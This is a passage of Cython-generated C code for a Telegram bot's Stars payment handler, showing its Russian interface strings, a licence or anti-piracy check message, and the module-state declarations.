0; + +/* Implementation of "handlers.payments.stars_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\360\237\244\226 \320\221\320\276\321\202 \320\264\320\273\321\217 \320\277\320\276\320\272\321\203\320\277\320\272\320\270 \320\267\320\262\320\265\320\267\320\264"; +static const char __pyx_k__3[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__4[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__5[] = "\320\235\320\265 \321\203\320\264\320\260\320\273\320\276\321\201\321\214 \321\203\320\264\320\260\320\273\320\270\321\202\321\214 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\320\265: "; +static const char __pyx_k__6[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__8[] = "|"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_ok[] = "ok"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_XTR[] = "XTR"; +static const char __pyx_k__10[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\203\320\264\320\260\320\273\320\265\320\275\320\270\320\270 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\321\217: "; +static const char __pyx_k__11[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__12[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__13[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__16[] = ""; +static const char __pyx_k__17[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__18[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__20[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__21[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__24[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__25[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__26[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__29[] = "_"; +static const char __pyx_k__30[] = "."; +static const char __pyx_k__38[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_label[] = "label"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_stars[] = "stars_"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_title[] = "title"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_delete[] = "delete"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_prices[] = "prices"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_stars_2[] = "_stars"; +static const char __pyx_k_stars_3[] = "stars"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_pay_stars[] = "pay_stars"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_RUB_TO_XTR[] = "RUB_TO_XTR"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_CRYPTO_HASH[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 CRYPTO_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_21U68SOLOBOT[] = "21U68SOLOBOT"; +static const char __pyx_k_LabeledPrice[] = "LabeledPrice"; +static const char __pyx_k_STARS_ROUTER[] = "STARS_ROUTER"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_stars_amount[] = "stars_amount|"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_answer_invoice[] = "answer_invoice"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_provider_token[] = "provider_token"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_invoice_payload[] = "invoice_payload"; +static const char __pyx_k_PreCheckoutQuery[] = "PreCheckoutQuery"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_pre_checkout_query[] = "pre_checkout_query"; +static const char __pyx_k_successful_payment[] = "successful_payment"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_choosing_amount_stars[] = "choosing_amount_stars"; +static const char __pyx_k_https_t_me_PremiumBot[] = "https://t.me/PremiumBot"; +static const char __pyx_k_on_pre_checkout_query[] = "on_pre_checkout_query"; +static const char __pyx_k_on_successful_payment[] = "on_successful_payment"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_enter_custom_amount_stars[] = "enter_custom_amount_stars"; +static const char __pyx_k_process_callback_pay_stars[] = "process_callback_pay_stars"; +static const char __pyx_k_handlers_payments_stars_pay[] = "handlers.payments.stars_pay"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_entering_custom_amount_stars[] = "entering_custom_amount_stars"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_handlers_payments_stars_pay_py[] = "handlers/payments/stars_pay.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_stars"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_pre_checkout_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + PyObject *__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; + PyTypeObject *__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + PyObject *__pyx_kp_u_21U68SOLOBOT; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_kp_u_CRYPTO_HASH; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_LabeledPrice; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_PreCheckoutQuery; + PyObject *__pyx_n_s_RUB_TO_XTR; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_STARS_ROUTER; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_n_u_XTR; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_n_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_n_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_n_s__38; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_answer_invoice; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_stars; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_currency; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_delete; + PyObject *__pyx_n_s_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_stars; + PyObject *__pyx_n_s_entering_custom_amount_stars; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_stars_pay; + PyObject *__pyx_kp_s_handlers_payments_stars_pay_py; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_https_t_me_PremiumBot; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_invoice_payload; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_label; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_ok; + PyObject *__pyx_n_s_on_pre_checkout_query; + PyObject *__pyx_n_s_on_successful_payment; + PyObject *__pyx_n_s_pay; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_stars; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_s_pre_checkout_query; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_prices; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_stars; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_provider_token; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_u_stars; + PyObject *__pyx_n_u_stars_2; + PyObject *__pyx_n_u_stars_3; + PyObject *__pyx_kp_u_stars_amount; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_successful_payment; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_title; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__9; + PyObject *__pyx_tuple__22; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__34; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__19; + PyObject *__pyx_codeobj__23; + PyObject *__pyx_codeobj__27; + PyObject *__pyx_codeobj__28; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_CLEAR(clear_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_LabeledPrice); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_PreCheckoutQuery); + Py_CLEAR(clear_module_state->__pyx_n_s_RUB_TO_XTR); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_STARS_ROUTER); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_n_u_XTR); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_n_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_n_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_n_s__38); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); 